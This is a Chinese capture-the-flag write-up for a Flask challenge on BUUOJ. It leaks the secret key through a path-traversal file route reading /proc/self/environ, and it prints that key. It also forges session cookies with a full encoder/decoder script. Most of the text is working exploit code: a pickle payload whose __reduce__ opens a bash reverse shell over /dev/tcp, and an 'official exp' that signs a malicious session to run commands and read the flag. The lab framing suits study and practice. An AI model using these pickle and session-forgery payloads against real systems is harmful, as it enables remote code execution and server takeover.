考点:
? ? ? ? pickle反序列化
? ? ? ? session伪造
开局:
? ? ? ? 开局直接给了提示/file?file=index.js
? ? ? ? 进入又提示了/app/source,然后就得到一坨
? ? ? ? 整理一下得
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
?????????明显的admin下pickle反序列化
? ? ? ? 在/file路由下,读取/proc/self/environ得到key
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
? ? ? ? ?上反序列化脚本
import os
import pickle
from base64 import b64encode
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/20 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
注意这里win下和linux下运行这个脚本的结果不同 python3和python2下运行结果也不同 我在python2下面似乎成功了一次
?伪造session:
? ? ? ? 看见wp很多师傅用的flask-unsign但我没成功,也有用flask-session-manage的,我也没用成功 然后就用了一个脚本
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
?这个也是在linux python3下我好像成功了一次
然后用这个伪造session去访问/admin路由 抓包 反弹shell就完事了
还有一个官方的exp 简单粗暴
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requests
url = "http://f467c348-ba1b-4d54-bd8e-ed65c81db22b.node4.buuoj.cn:81/file?file=/app/source"
def get_secret_key():
target = url + "/file?file=/proc/self/environ"
r = requests.get(target)
key = re.findall('key=(.*?)OLDPWD',r.text)
return str(key[0])
secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
#print(secret_key)
class FakeApp:
secret_key = secret_key
class User(object):
def __reduce__(self):
import os
cmd = "cat /flag > /tmp/test1"
return (os.system,(cmd,))
exp = {
"b":base64.b64encode(pickle.dumps(User()))
}
print(exp)
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
{'u':exp}
)
print(cookie)
headers = {
"Accept":"*/*",
"Cookie":"session={0}".format(cookie)
}
req = requests.get(url+"/admin",headers=headers)
req = requests.get(url+"/file?file=/tmp/test1",headers=headers)
print(req.text)
同样这个脚本是在linux下python3下运行
结语:
? ? ? ? 至于我为什么说是我好像成功一次?
中间有 一个 ls
cat /flag
是我看见反弹shell成功了
但是不知道为啥就没了
可能session不行了
然后我又去试 试试就试到了现在
我是真的大无语 可能是靶机的问题 也可能是我的问题
反正就是没反弹shell成功
我就真的放弃了
再折腾这个题下去这周就没了 我真的大服气
上面这个图还是我bp抓包后发现不行 去用hackbar做 然后就无语了我
反正就是耗时间 我是不干了
开摆了?
?
|